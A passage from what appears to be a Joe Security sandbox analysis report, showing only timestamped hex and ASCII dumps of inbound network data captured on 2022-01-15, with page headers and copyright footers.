09 44 b6 5b ff 75 34 7e 63 fb 05 7f 50 9f 94 87 96 ff 2f 28 79 37 6a 95 22 ca 4d f8 8c 7f 31 48 30 da 2d eb aa dd bb a2 98 81 32 1d 1c 75 f3 54 db e2 bd 74 91 e0 86 0c 8c 31 8d da e6 de 93 88 51 bc e5 ab d2 f9 68 b4 a1 39 13 97 c7 Data Ascii: tpNdjbC(Hm:;At]^zcW+Ku!S_QC4pXO3)o+YHiB.pR_}5M%;kcSp`]OD[u4~cP/(y7j"M1H0-2uTt1Qh9

2022-01-15 19:23:31 UTC 3131 IN Data Raw: 93 ce e1 84 99 af 45 8c 85 ad b0 14 1c 9b 0d 2b d0 f6 5a 00 f5 08 c9 b5 a8 4a 11 a2 8c b6 3a 52 fe 96 22 5c 7c c0 89 28 35 c1 05 48 ee 62 1f 63 c4 d0 26 ac cd 1a c9 38 ac ac 93 35 68 c4 78 72 75 40 18 b8 ae b3 80 01 3e 13 bd d2 1c 25 a5 73 37 3c a3 32 24 73 fa a0 75 c8 28 07 88 e8 24 25 a6 ab 9a 2c bb 8d 8c d6 ab d5 32 de dd e5 6e 38 5e b5 d1 9a 9ca6 38 dc 85 c8 a7 eb 03 e8 6b c0 dc 4b 53 10 18 e5 29 d5 f9 f3 80 ad 89 b5 ff cb 3c 3f a9 4b 12 6d 34 55 35 40 5c c0 55 5081 1e 05 77 c6 be a3 33 ae e1 2e ae b6 1b 0f 70 26 4c 80 68 1e 15 c6 e9 e3 d4 15 45 8f b3 4b ce f0 b2 81 85 93 1a 53 2c 0f 0b ea 3a de 76 7d 7d 3e 28 b0 49 62 48 19 35 80 7e 7e 0e 75 c0 22 57 f3 1e 10 97 b5 b5 6f 7c 4c 2e 31 06 84 26 ba 35 5c ec 27 8a 4a b4 e5 ac 54 d6 d6 90 d8 2f dd 6d 19 Data Ascii: E+ZJ:R"\|(5Hbc&85hxru@>%s7<2$su($%,2n8^8kKS)<?Km4U5@\UPw3.p&LhEKS,:v}}>(IbH5~~u"Wo|L.1&5\'JT/m

2022-01-15 19:23:31 UTC 3147 IN Data Raw: 78 80 44 64 8c c6 50 28 79 93 85 7a 69 dd 08 8c 18 ef aa d0 55 89 58 55 70 35 fb 22 db 84 68 e3 a7 ab 0e bf 78 47 00 4a b6 da d0 b3 bf 66 bd f2 06 e9 c8 75 54 b5 ab 0f 5d 2d 96 5c cf 45 e0 0c d5 be 61 b9 56 00 66 9f 83 24 df 07 15 3d 76 31 16 80 80 dc 7a 5f a5 b4 a7 f1 64 54 15 9a 33 6e 57 c6 93 4c 52 91 a0 46 19 74 7c b6 84 9e bb 8c d4 17 2e 3c 88 70 29 53 c3 5e 27 bd 10 e6 ce 10 ee be b6 17 61 70 39 13 df c3 c3 6e be 02 d1 d7 17 91 fd 62 7f 73 d7 c5 73 b4 08 86 47 ff c3 0e 7a 68 34 ec a3 f0 68 13 72 f5 ee b2 1e e0 fa 48 10 f9 8f d1 87 42 c2 fb 78 8e 2e da 91 52 6d 4a 6e ef a2 57 78 d2 c7 04 5e 0a ae 47 2f 5c a4 3c d6 0c f1 94 dd 7b 30 6e a1 4c 77 06 a0 34 a5 ba 4c 8e c5 b4 d5 ab a6 60 13 81 2c 83 b9 54 fc f5 72 5a 8b c8 fe 31 1c 7c 96 1f fe 60 1a fc a2 Data Ascii: xDdP(yziUXUp5"hxGJfuT]-\EaVf$=v1z_dT3nWLRFt|.<p)S^'ap9nbssGzh4hrHBx.RmJnWx^G/\<{0nLw4L`,TrZ1|`

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 50 of 103

2022-01-15 19:23:31 UTC 3163 IN Data Raw: a4 28 a9 a7 21 49 99 61 e5 3b 02 9d 63 29 ef 70 56 64 ab 5f b4 ef 7b 0a d1 6b 40 d4 53 1e fb 3e 00 25 20 1f 63 49 e1 40 5d 81 79 15 00 7b 60 12 cb 8f e9 34 1f fb 02 33 15 78 f9 e6 0d 1d 19 20 65 02 4e 08 f3 16 65 d2 d1 b6 f0 8d 95 0d b3 3a 3d 84 c7 0c a1 b5 50 37 3f d3 64 db 67 73 e7 a9 39 cf 67 96 b0 2c 42 82 41 e0 5e 08 1c 35 20 03 c8 43 df e8 bb c1 85 ac 2e 3e b2 0a b0 c6 4c b2 0f 36 58 43 e9 54 c6 b4 84 87 9c 00 07 6e b2 30 48 62 8d df f8 54 8f fc a2 98 d8 eb 36 c8 0b 20 62 ab 04 09 4d b9 1f 69 cf ca db b3 3a 30 ea 66 cd 60 8c f1 ee c5 de 54 a4 49 26 65 90 f3 05 91 ed ac 06 fe 58 36 2a db c2 d5 7d 43 0f 5a ea 9b e3 23 34 98 45 b1 83 62 f2 9f d5 0a 9e 66 5c 6b d8 4b f4 4d 0f bd 58 f0 56 67 14 d6 10 cc 9b ea 49 22 4c 6d d3 4f f7 50 4b 5e a0 ec e1 3b 4a Data Ascii: (!Ia;c)pVd_{k@S>% cI@]y{`43x eNe:=P7?dgs9g,BA^5 C.>L6XCTn0HbT6 bMi:0f`TI&eX6*}CZ#4Ebf\kKMXVgI"LmOPK^;J

2022-01-15 19:23:31 UTC 3179 IN Data Raw: e5 4b d3 5a 59 97 b8 6f 71 be c3 10 fc ed e2 a3 c9 7a 8b a3 ff 32 1f a0 22 e3 c0 59 de bd c6 7e c7 7d 9c c3 bf b5 d1 4e dc c6 61 e4 3a 06 00 5c 1e be 7c 52 0a a4 7c 07 bf 07 6a 84 17 74 77 a5 ed 6b d0 62 cf 86 30 55 1f 03 6b ec 6f 9f 5c 74 ce 90 c4 bc 5d fe fd 9d 12 cd 17 b5 f1 8c 00 dd 71 ae 86 8a 76 c7 6b 7a 74 cb fc 67 8c 6b 25 37 cd 3c b0 d0 c8 9c 66 37 78 74 67 2f 87 42 99 55 30 f5 54 f9 c9 ba 2e 1f 69 09 f9 a9 01 3c 2a f4 09 b0 4f d4 4b 0b b1 ba f4 00 b1 16 e5 43 eb 1d ba bb 22 e0 6f af 77 43 e8 1f c9 fe df d3 65 1a 3c b5 27 ca dd 33 01 fd d1 8b 44 72 e8 f4 be 50 88 7b 65 a2 51 6b 5b 6b 2a d6 a5 9b d6 79 68 75 27 ad b0 d6 d0 5a c5 3f 1a 62 9e eb 37 ec 47 49 fc ad ba 6f 58 db 16 87 53 c7 6a 44 24 ce b6 6f 8f e4 13 07 9b 79 77 c4 9b 93 eb 22 84 bd 70 Data Ascii: KZYoqz2"Y~}Na:\|R|jtwkb0Uko\t]qvkztgk%7<f7xtg/BU0T.i<*OKC"owCe<'3DrP{eQk[k*yhu'Z?b7GIoXSjD$oyw"p

2022-01-15 19:23:31 UTC 3195 IN Data Raw: 77 d7 9a 68 2f ba 15 c3 bf 8c ee 3d 6e a9 6b f0 8e ae 6a 16 24 1e 24 af d5 fb d5 92 c3 a0 b1 58 fc 3b 0c bc 55 b8 51 4d 26 17 a5 95 73 5b 5f 42 a9 7a d4 ad 05 00 8a 2c ee e8 33 8f 28 b3 34 0c 2e 64 6b 0b 1f 08 2c 39 dd 79 ac 53 65 ee fe 07 00 0b 45 4d 1e 0d 3a c7 03 9a 97 47 51 04 6b ef 66 57 85 b8 ef 7f 69 ca c4 79 fc 08 49 74 6e 93 b1 6c 6e 1d 34 18 0e ba 4c 40 b1 8a 57 ae 09 74 a2 53 bd 4c 5a 95 b8 05 43 b8 f0 30 3c 7b fc 2a ed 0f 7a d4 77 97 48 c4 33 bc da 45 a0 1e 75 7f 6c cf b3 26 73 18 aa 59 c4 c6 0a d6 78 fe 06 59 38 9f 62 35 f2 79 9a 5e 12 6f ec f1 b7 1c 89 ab cb 3e e0 4d 1a a1 c3 e8 e5 91 87 a6 b2 0e 7a 0b 1f af 74 14 3b 89 d0 d3 0b 27 90 99 77 54 44 fc ad cb a6 12 f9 df 51 07 d2 7b 74 17 83 8c 67 04 da 13 c2 b0 db c5 ec 60 13 2a 08 9e c5 10 9a Data Ascii: wh/=nkj$$X;UQM&s[_Bz,3(4.dk,9ySeEM:GQkfWiyItnln4L@WtSLZC0<{*zwH3Eul&sYxY8b5y^o>Mzt;'wTDQ{tg`*

2022-01-15 19:23:31 UTC 3211 IN Data Raw: 47 8f 90 ab 49 86 84 ed 6d 9c 49 6e 5e 06 d8 72 4a 56 fc 2e fb 41 0c a9 62 73 57 9d 76 6d 57 1f ea 40 76 3f c3 bb 16 ce 89 b8 a2 c8 7f cc c1 bb 8f 50 e0 70 64 03 3a 9a 81 81 d0 9a 07 fe 19 24 a0 8c ee fa d0 a3 c9 54 f5 c7 41 cb 02 ba0e 50 df ce 61 d8 00 6f b0 68 29 fd f9 8f b6 bb 3b 85 82 83 c0 e8 04 e4 3b 86 a0 2b b4 96 b1 d4 45 25 2d 14 bb 4b a3 9e 6c 8d d3 0f 2f 72 15 09 3d 71 12 e2 ed 15 ec de d4 01 bd 2d f4 14 fb 54 46 fa f6 ec 61 96 19 b1 d1 07 2f 31 d8 79 44 93 65 b2 c0 cd ea 7d f4 a2 34 a0 f5 11 38 31 bc c1 1e bc da 97 e6 f1 65 83 54 5a 77 1d 9c df 96 51 7b 9f af 53 ed 4c eb d8 28 38 50 9a bd ee 9e d1 f6 d3 98 e8 ef ab 33 bd 2f b7 87 55 0a 16 88 49 b9 1c f5 7b 43 34 90 aa b3 8f 2f 9c 04 71 f5 4d f3 53 46 5e 45 4d b7 0e 43 07 3d 8e 5c 34 18 2e 06 Data Ascii: GImIn^rJV.AbsWvmW@v?Ppd:$TAPaoh);;+E%-Kl/r=q-TFa/1yDe}481eTZwQ{SL(8P3/UI{C4/qMSF^EMC=\4.

2022-01-15 19:23:31 UTC 3227 IN Data Raw: 0c a4 2c 04 62 99 37 2a 10 77 d2 be 2c e2 89 4e 2d 30 4c 83 c6 a6 cb 53 99 b3 6a 6f 34 bf e6 d8 86 51 54 37 e6 b7 ee 9b c7 8c a0 51 7f f6 7d 26 e2 03 76 20 89 40 e2 d4 04 fd b3 2d f7 2d 57 c7 17 da 6a 43 58 d9 06 58 26 e4 4e bb 0e c9 bb eb 6c 41 bc d0 51 23 f1 7b 0a ce 79 2b 52 e6 70 23 56 2d ed df 3f 17 4c c9 3e 52 9f 55 c5 6f 73 26 90 22 3e f5 bc ca e4 18 ed dc b5 31 da 6f 5a 4c 2e 94 1a d3 2c e5 39 fb 1f 3c 37 5d 69 78 02 c4 5b 29 c6 85 bc 2f 85 b8 f2 ed 9e eb 85 6ced 0c 22 b9 13 b9 1f 38 86 3d a5 d5 1d a4 72 71 85 23 66 f2 a2 c8 9d b1 45 ef 1f d3 61 5a 6c 80 8d 64 46 84 e2 8c f8 2f c9 f7 9e c7 4b 39 3d b9 8a 6e 52 6d 6f a5 13 ae a0 2e 61 af d8 81 8d 9b c4 7b 9e be 44 c5 4a 46 96 7d 72 3f 31 19 af 98 ea c6 2e 75 96 68 2b 17 8b d7 bf eb b7 41 ac ec 0f Data Ascii: ,b7*w,N-0LSjo4QT7Q}&v @--WjCXX&NlAQ#{y+Rp#V-?L>RUos&">1oZL.,9<7]ix[)/l"8=rq#fEaZldF/K9=nRmo.a{DJF}r?1.uh+A

2022-01-15 19:23:31 UTC 3243 IN Data Raw: 4f 2e a6 b4 e3 9d 37 c5 ef 16 7f bf 4b 9b 76 26 8c 99 48 f0 41 f8 6d 9a 95 4c f0 97 a5 a1 04 59 59 9e 59 bf 95 4f20 9c d6 ff 6f da 62 90 d4 d3 28 d9 57 9f 32 fe 99 16 60 96 46 54 ba ee ab 18 6d d5 5c e8 77 71 2b 26 f1 6b a4 38 2a e5 7a a7 49 2c 04 e2 c5 e7 e4 e7 e5 c3 df d8 79 e1 11 30 30 61 21 c4 96 8f b6 06 d7 2f 74 dc 72 85 54 e5 f8 ff 46 0f 17 a5 e5 dd b9 a3 db b1 1d 07 c2 d0 4c 52 ea 57 3b a1 ba 73 f0 65 dd b0 b1 9c cc 00 8e e2 bb 1d 4e 38 2b 74 88 02 a0 d2 70 99 03 48 54 5f 21 95 4f 9f e2 8c d9 83 76 65 d4 2f 47 91 42 15 25 ad 0f 2d 67 b9 ae 5f 81 10 38 3d c5 55 aa 71 14 b0 2c 18 8a 52 57 1d 1c cd f6 db 9b e6 6d ba 79 aa 83 b2 18 e1 18 9f 27 a0 5b 01 e0 5b b7 31 df 12 75 ff 5d cd 78 76 b7 b8 bb 28 82 f3 58 a6 ec 1e a9 b0 70 9a 14 6a 7f 5f 22 f2 4a Data Ascii: O.7Kv&HAmLYYYO ob(W2`FTm\wq+&k8*zI,y00a!/trTFLRW;seN8+tpHT_!Ove/GB%-g_8=Uq,RWmy'[[1u]xv(Xpj_"J

2022-01-15 19:23:31 UTC 3259 IN Data Raw: 6d ec 94 d1 61 e9 c6 a5 41 39 19 26 55 b5 de 48 6f e6 c2 13 cb 0c fa 6a e9 da df 36 cf f4 97 c0 3a 14 62 f5 11 ca 0f 60 6a 58 90 df b9 f5 f4 76 b3 b7 1f d6 79 6e c4 5f f0 90 20 0a e7 43 20 b3 3c 57 27 c6 ba ad e1 53 f6 b2 55 34 01 fc 8d b4 5e fb 45 cc 9a 57 dd da e0 5d a3 ed 16 d4 99 4e 6b ae 4e e6 1b cc 45 a4 6a 67 6f 7f 11 81 9c 9e cd 27 d7 30 b5 57 d3 d3 5c c6 fe 17 01 49 28 e0 c6 68 2f 96 6c 9e c4 40 e2 02 3e 2c 5b 1e e9 b6 e5 50 2b cf 6c 13 a6 ec 5b 61 ad fe 1b 5a e0 31 f5 a1 de b3 56 43 da 69 eb 0f 36 8d be 51 01 e1 b7 74 65 5d ef 4a 9c 2a cd b1 db 16 90 80 35 bb 88 6f 85 e6 68 fa 41 1e de a0 00 e6 c0 01 03 05 2d 6e 1d 35 e5 14 66 87 b1 de 86 2e 79 e2 89 12 11 21 b7 e1 49 73 f4 e1 d9 6b db f8 fa 9f d7 7f a4 55 06 63 38 76 0e 21 ba 33 04 4b a5 73 6d Data Ascii: maA9&UHoj6:b`jXvyn_ C <W'SU4^EW]NkNEjgo'0W\I(h/l@>,[P+l[aZ1VCi6Qte]J*5ohA-n5f.y!IskUc8v!3Ksm

2022-01-15 19:23:31 UTC 3275 IN Data Raw: 72 f7 9c ac 76 9c 56 f1 e9 b1 d8 c5 67 40 59 19 f9 e1 b2 d3 e4 d0 f3 c5 c0 e0 1a b3 14 5b fe af 50 48 86 a4 7a cd 59 f9 ff a9 26 58 12 6c 46 8e b5 46 84 e6 17 18 4b 20 f7 62 03 77 41 e8 db 91 71 2b 4b ff 33 1d 8b 78 c5 43 66 31 d7 5f 28 8f 91 1d 04 27 2b 37 ad ae a9 84 58 a5 15 18 79 6f 4e 8e 8c c8 c5 5e 04 88 5d 93 4f c1 a3 9a 44 2c 56 c3 bc 87 18 1f 86 9f 7a 96 8f 30 c0 8d 8f f9 cc 3a 7e 5a 24 35 3a 19 e7 f2 d6 61 f3 d1 bf d2 6c 70 bd 81 a8 d6 29 7d ba c3 a1 f5 2e 16 8b b6 cf 2f f0 80 ee 84 53 c0 92 f9 1d 98 1f e0 c0 ce 0f 7a 5c a4 61 09 46 33 da ec 80 f2 c9 d5 2b e5 6e 99 88 34 cf a5 56 a0 f0 3f 05 33 33 13 27 08 ef 8e 0d e1 77 8e 2f 29 c0 65 b3 1d 51 4a c7 81 93 6e 26 46 de 97 c1 e8 9e 34 77 7f 13 2f 6c 78 e8 e2 3b c6 6d 83 45 a6 00 c4 05 77 b4 56 22 Data Ascii: rvVg@Y[PHzY&XlFFK bwAq+K3xCf1_('+7XyoN^]OD,Vz0:~Z$5:alp)}./Sz\aF3+n4V?33'w/)eQJn&F4w/lx;mEwV"

2022-01-15 19:23:31 UTC 3291 IN Data Raw: 8d f6 06 f1 ff 8e 7b 23 ea 0d e0 51 22 8d ba 74 73 fd ef 56 31 7d 33 5a d2 80 c6 6e cb e9 73 54 bc 48 13 34 fe 05 d2 b8 d3 41 be fb 54 5e d5 18 8f b3 9a 5f 5d 5c 36 a4 4c 29 5e 58 93 80 07 f7 6a e2 02 56 8a 2f 4c 3d b3 91 dc 0b 50 e4 4e 59 51 e7 d5 ce 82 0c 6d 6f 52 7d 28 3d 63 39 4b e7 98 ca 97 5e 49 af 85 f4 93 43 58 33 29 0f 9c 5d 05 b7 ba 03 5f f25b d7 6b dc 5b 1a e1 a5 0a 9f fe bd b1 24 c7 43 28 35 88 ac 0c 28 5a 7d a7 33 45 68 7c 1b 56 94 b6 5b af fe 65 3d 83 f6 62 68 0c 9f 2c f7 09 e2 e3 a0 6c 04 30 38 bd 53 fb 56 18 28 ba 5e 4f 29 ff db aa f3 09 59 4b ec e2 31 6e 40 ab 93 f3 f8 6f db 6d c3 e9 0d e9 fd ab 26 d9 ba e4 ea c0 4c 74 77 9e 9a b2 8e f8 6c 9e e6 74 e9 38 df f5 ac 68 35 d8 cd 98 35 fd 8f 1b f2 44 b6 cb aa 15 8a 5c 03 84 e5 e7 c1 fe dc e8 Data Ascii: {#Q"tsV1}3ZnsTH4AT^_]\6L)^XjV/L=PNYQmoR}(=c9K^ICX3)]_[k[$C(5(Z}3Eh|V[e=bh,l08SV(^O)YK1n@om&Ltwlt8h55D\

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 51 of 103

2022-01-15 19:23:31 UTC 3307 IN Data Raw: a4 e4 ee 4f 4e 7e 24 3f e9 2a ac ae fa 1b 65 ad bc 0e 6f 78 9a c8 36 5f 4b c8 7e 73 41 69 f6 7b fe e3 a9 f1 3f 10 61 ea 01 b9 3d ad 0b 89 c2 7e 3e 08 b5 41 20 e8 da 91 c8 ab 1b 0c a8 90 c2 f5 9b b0 77 ce d0 79 1f 14 64 e3 2a 13 2d e7 03 c5 e7 e3 dd 72 d7 9d fe f8 4f f8 af 97 32 e5 e6 c5 c6 be 89 ff 3b 19 39 d1 82 11 fd 0e 8b 2b 91 c9 f3 4c 94 7e 53 78 dc 40 9b 11 c3 25 39 fe 5c 8a be b3 b0 68 a4 74 3c 4d 7f 6e 7e 6a d0 b0 23 b7 db 96 97 52 e7 b7 26 73 61 03 11 41 ba e7 35 64 a1 51 18 0a 79 6b 32 be 93 ab 3b c5 fc b9 46 7e 81 09 0e b9 13 e9 85 a8 56 3a 23 8b cd 10 8d c8 a1 e3 6f 45 42 bc da 5d 42 2a 7d 1c d3 6a f8 4a 46 3d 9d 07 57 b3 10 e2 ab f5 14 ed 8d 0d 7c da a5 ef 7c c5 b2 8d bb 82 bc 38 26 d2 6c c1 65 da ab f0 bd 01 8f 02 e8 75 69 91 ae 4f 53 a0 5d Data Ascii: ON~$?*eox6_K~sAi{?a=~>A wyd*-rO2;9+L~Sx@%9\ht<Mn~j#R&saA5dQyk2;F~V:#oEB]B*}jJF=W||8&leuiOS]

2022-01-15 19:23:31 UTC 3323 IN Data Raw: 0d 0f e8 90 90 7e c8 22 13 1d da 93 54 41 29 f2 03 e7 9d 79 09 82 da de 30 b4 7d 7d d7 5e 71 3b 00 27 bb f5 89 6c 2e 28 b8 df e0 fb 1f 86 dc 85 67 8d f0 1b 23 63 3b b0 3c 46 93 87 08 5d a4 4f 86 6b 3a 35 94 25 95 cb c8 1f 80 eb d0 4f 4b 2d d8 a6 af d1 21 c4 cf 1f e6 e6 41 1f 24 85 99 60 11 d0 77 b8 fc f5 e7 66 b7 ae 69 9e 69 31 4a aa c4 6d c5 53 40 b8 b6 b4 0a 67 af 8d b1 bc 35 c8 98 10 1c 60 75 c3 d8 ee a6 7d 32 d0 8c 0e c6 40 2c 74 f2 8d b3 9f ff 21 22 7e 28 57 c1 2d 24 9d d6 bb de de 05 dc 9d 0e ae 24 c2 52 7e c5 a3 be f5 da b3 de 49 d3 1a 6c 4c 60 a9 49 bc 5e 7a 85 79 7a cb de 3e e5 74 6c 02 f8 a8 cd dc 50 db 8e 67 b5 2a 0b cd 3f c5 17 c2 08 22 07 2d 88 e7 20 7b f0 ab c5 0a 7e 5d e1 67 63 44 c5 93 ee ae 10 bf 94 b6 de c6 a0 07 40 e6 19 b0 36 e6 fa 0a Data Ascii: ~"TA)y0}}^q;'l.(g#c;<F]Ok:5%OK-!A$`wfii1JmS@g5`u}2@,t!"~(W-$$R~IlL`I^zyz>tlPg*?"- {~]gcD@6

2022-01-15 19:23:31 UTC 3339 IN Data Raw: d0 96 0c 63 41 9b b6 f4 5b d1 8e 05 07 dd c0 e6 ad 45 44 c1 98 9d c6 fa f9 67 11 51 a7 51 1e 16 ef e0 fe f7 32 50 b1 7f 49 71 bc 3c dc 2b 1c 48 1a cf c3 b4 d8 67 37 64 56 da af 31 45 ff 18 36 68 b6 58 59 4d 44 42 20 c3 87 3a 5d c0 46 4f 15 da f9 19 ab 10 7c 5e b3 28 e6 a1 5d 30 a3 4d 3a d4 7a 63 8f aa 9f 73 30 c8 53 59 8b 4b f9 4c 27 d1 06 bf f8 f9 e0 16 d9 dc 08 3f c5 86 12 6e 55 86 5a 27 39 a6 74 be f0 8b b7 0e 2e bb 0e 86 b4 ac aa 72 21 08 a8 86 dd b9 89 a5 c1 e7 ff fa 15 9b 22 92 41 d2 78 cf 31 92 01 e1 18 0c 9a 23 1d 25 b3 17 69 4a 44 79 cb c5 54 84 4c a8 53 2e b2 f9 82 a9 a2 14 00 0e d5 dc 35 dd 07 d6 e1 58 ca e1 83 24 07 d6 68 dc 2c f6 6e 2d 28 49 f3 c5 fc 95 b6 a5 5a a0 56 ba fe 95 29 7f 2c d9 ce 4cc5 a9 1d 62 97 2f a0 a7 d0 49 6b e1 fc 68 ee 90 Data Ascii: cA[EDgQQ2PIq<+Hg7dV1E6hXYMDB :]FO|^(]0M:zcs0SYKL'?nUZ'9t.r!"Ax1#%iJDyTLS.5X$h,n-(IZV),Lb/Ikh

2022-01-15 19:23:31 UTC 3355 IN Data Raw: 8b 67 18 d9 20 83 ea 63 fe c5 df 25 94 8c ae b2 a6 a2 39 18 83 ee 7b ef 6d b9 9c 05 1a 25 78 e8 59 2f 01 53 79 e6 20 c4 f2 87 f5 5b ac 43 4c 6f 30 80 18 fd 35 25 88 ae b8 c6 46 c6 ff ca 0e 42 de e8 c1 51 68 34 32 16 1c 8f c7 1a 68 0c d7 81 cc d2 52 fb 12 c3 e8 86 6a e7 4b a0 0b b1 e2 82 a2 72 23 fa 62 4f 20 47 e1 12 a4 17 3f e1 7e b4 cc 3b 35 d8 bb b6 b8 cf 72 5e 09 a3 f4 9b b4 59 91 c9 2f 8c 59 e5 d6 6f 4f aa 8f e0 c8 dd 1a 0d 61 e0 92 34 61 46 81 4a f1 2c e3 d3 a0 59 38 10 05 81 7e 2a b0 08 eb 20 49 6f 13 d2 a6 27 73 76 05 86 d9 00 e8 65 ad ab b7 bf 83 91 e0 80 c3 dc 82 62 da 6c 9d 6e 3c 0b 54 cf 65 c7 09 55 fa 6a e8 b9 98 71 d8 d9 61 a6 da 4f b4 08 bc ad cd a0 be 33 c0 15 3e 89 7c 58 0d ff 79 e9 4c d0 a1 ca e6 86 ac f3 88 fb 22 6e 35 6c 71 c9 76 3f 88 Data Ascii: g c%9{m%xY/Sy [CLo05%FBQh42hRjKr#bO G?~;5r^Y/YoOa4aFJ,Y8~* Io'svebln<TeUjqaO3>|XyL"n5lqv?

2022-01-15 19:23:31 UTC 3371 IN Data Raw: ca 91 48 a8 d3 ba d4 ea 8f c1 57 0d 12 fc 5b 8c 1a 1a da f1 75 93 1a ce a8 64 67 10 b1 75 33 3e c1 e5 67 5d e7 71 c3 ae 6c ce b4 91 1d b0 6b 50 27 1b 74 ea 4a b5 ec 1d 1d cc 6e 9a 66 c4 64 de 0a 02 75 42 8a aa f3 d2 b6 a8 70 fa 12 b3 dd fc 41 3c c6 3a 46 ac d0 04 a5 72 b2 e8 20 57 e6 2d 2b fa d2 a8 8c fe 7b b7 af 4d 30 58 13 e7 5d 27 f7 7b b1 c4 fc 9e 33 58 b2 8e 8e aa d5 08 5f af 3b 5a d8 60 d3 de 19 e0 50 ec 67 bc d4 ae 74 ee 37 6e bf 8c b0 d9 75 e7 20 93 52 46 86 9f a4 ce 65 5d 81 96 af 47 fb 46 4a 38 24 57 65 50 cd 65 b0 fc e4 be 74 02 48 8d 59 11 92 9d 76 5a f0 d6 62 ea 2f 30 9b e4 43 2f ef 06 cb f2 3a 25 9b bb 9a b8 3b 70 37 7e ed b2 78 78 c8 7b b1 51 2e 36 c5 20 40 bb d7 0f 70 94 da df c3 ed cb 06 a1 4c c7 5b b2 44 82 4f d8 c0 20 bf 06 87 5b 01 4d Data Ascii: HW[udgu3>g]qlkP'tJnfduBpA<:Fr W-+{M0X]'{3X_;Z`Pgt7nu RFe]GFJ8$WePetHYvZb/0C/:%;p7~xx{Q.6 @pL[DO [M

2022-01-15 19:23:31 UTC 3387 IN Data Raw: f1 c7 93 eb cd 95 cd da a7 23 94 d9 c8 8c 3f e1 21 71 5b 35 e5 4a ca 63 69 9b 09 35 ec 4b 3b 6a 3b ba 99 52 72 fa e9 2b 1b 38 bd af 18 ae 01 d3 d4 dd 44 55 cb d7 15 90 c3 20 35 9b 42 6f 91 ca ea 22 51 48 c9 28 32 2d f5 60 b5 7f b5 1f 19 1c b5 7d 96 bf 34 74 f5 23 38 e1 04 67 58 39 5f ae be 44 ec 9f fa df 87 f5 4e ca 1a 32 4d 52 29 15 c6 07 35 31 52 eb cb 27 bc 5a ab 04 ae 64 5f 7e 53 ad 91 07 71 08 ce c8 ca 09 fe 4c 4b d0 d5 38 2b 78 88 e0 d9 e3 0a 01 9b a6 06 08 26 88 0a 5b e3 ca f7 92 07 1f 98 a6 a6 28 cf ef 17 75 cc c0 c9 5c b4 c8 0e da 43 ce 47 ec cf 33 a6 ed f7 04 d6 86 37 49 c7 07 7a 9e c0 dd 10 6b 5c 7e f0 9b 4d 02 ba 80 a8 98 48 87 ef a9 39 dd 43 9d 34 f6 74 55 2e b0 56 e6 f4 55 9d 46 8e 04 98 85 87 19 0e 3a 75 a6 06 5e 37 a3 15 49 b7 9b 0d d1 3b Data Ascii: #?!q[5Jci5K;j;Rr+8DU 5Bo"QH(2-`}4t#8gX9_DN2MR)51R'Zd_~SqLK8+x&[(u\CG37Izk\~MH9C4tU.VUF:u^7I;

2022-01-15 19:23:31 UTC 3403 IN Data Raw: 47 80 d3 9e f5 02 54 a7 13 f9 04 1d 10 35 49 a7 e4 34 cb 8f f2 21 d7 a6 6d 7b d2 8a cc 9d 6b a7 e8 db a4 e1 0e ac 32 bd 30 52 fa 50 d6 c0 f0 be fa 0d 66 f9 b3 be f8 0e e2 97 3c 43 77 a3 c2 64 1b 99 07 29 44 04 38 e6 4e c7 bd 22 20 35 85 d9 87 d1 bb 34 5f 0d f0 19 41 94 68 97 75 79 40 f6 d1 2b 2c 56 5e da b4 10 4d 7b f0 dc b1 90 fb 7d b2 4d 7a 96 e4 5f 67 92 51 18 a3 b5 19 41 e2 3d ae e7 c9 27 a9 18 d1 8c ba 7a f6 a1 84 5e de 15 5b 21 94 1e 50 de 8b 5b cc 54 11 23 40 01 16 e1 65 99 64 de 14 e9 cf 16 7a de d7 c3 5a 40 70 5c 54 c3 d9 5f 07 22 ac 90 71 a2 fb ac 7c 0f 80 3f ee 14 3f fb ba 2d 4e c4 c3 90 b0 80 ec e9 1b 5a bb bd fb 12 7d 63 52 e7 27 38 f9 c7 b6 70 bb 5d c0 01 f4 99 6d 83 7c 3b 62 e8 ad c4 85 83 4b 18 6b 34 36 02 d8 16 31 44 3e d3 e2 66 ee 8b de Data Ascii: GT5I4!m{k20RPf<Cwd)D8N" 54_Ahuy@+,V^M{}Mz_gQA='z^[!P[T#@edzZ@p\T_"q|??-NZ}cR'8p]m|;bKk461D>f

2022-01-15 19:23:31 UTC 3419 IN Data Raw: 08 4b 94 5d ef 6a b7 01 d8 0e d4 2b 37 52 0c 7f d1 3a 36 64 bf d9 7b 97 6f 99 37 23 be ff 52 ae db 92 8d 52 4b d0 6b 6f 36 24 95 3e 35 1e 9f a3 4f ba 4d f3 a6 57 dc 90 2e fd 56 2a ac bd b3 0a a4 f8 ca 6b 53 be 2c 0a c6 c6 d3 eb 69 6adf 20 24 c6 2c a4 d7 4b df aa 7a 63 02 10 59 41 45 75 0f a1 12 c0 a9 b1 19 fd d7 3a ba 4d 66 1a 03 78 99 49 14 8f f0 5f 85 a2 d0 09 ca da e6 5d 9b 1b e6 56 fd e7 37 ff 81 32 0c f5 43 68 31 b1 9b ca 72 19 fc e2 b9 0e 10 b0 94 05 17 ee 05 32 07 0b ba 64 78 5d 11 65 0c b8 b2 0e 0e d5 86 44 be 1c 46 5d 74 10 89 19 27 ec 4d d2 2b 90 cf 5f 18 6d d0 ed bc 06 2f 97 34 8b 0a 42 95 ae c3 c1 3c 22 9d be e2 27 11 bc 40 29 2b 64 c3 fd a2 75 7f 99 24 1a 96 1f 0d f8 fa 4e a8 6c ba 25 32 7a 18 8b 40 1a 53 49 93 46 36 07 e9 5e 85 8c 40 b7 c3 Data Ascii: K]j+7R:6d{o7#RRKko6$>5OMW.V*kS,ij $,KzcYAEu:MfxI_]V72Ch1r2dx]eDF]t'M+_m/4B<"'@)+du$Nl%2z@SIF6^@

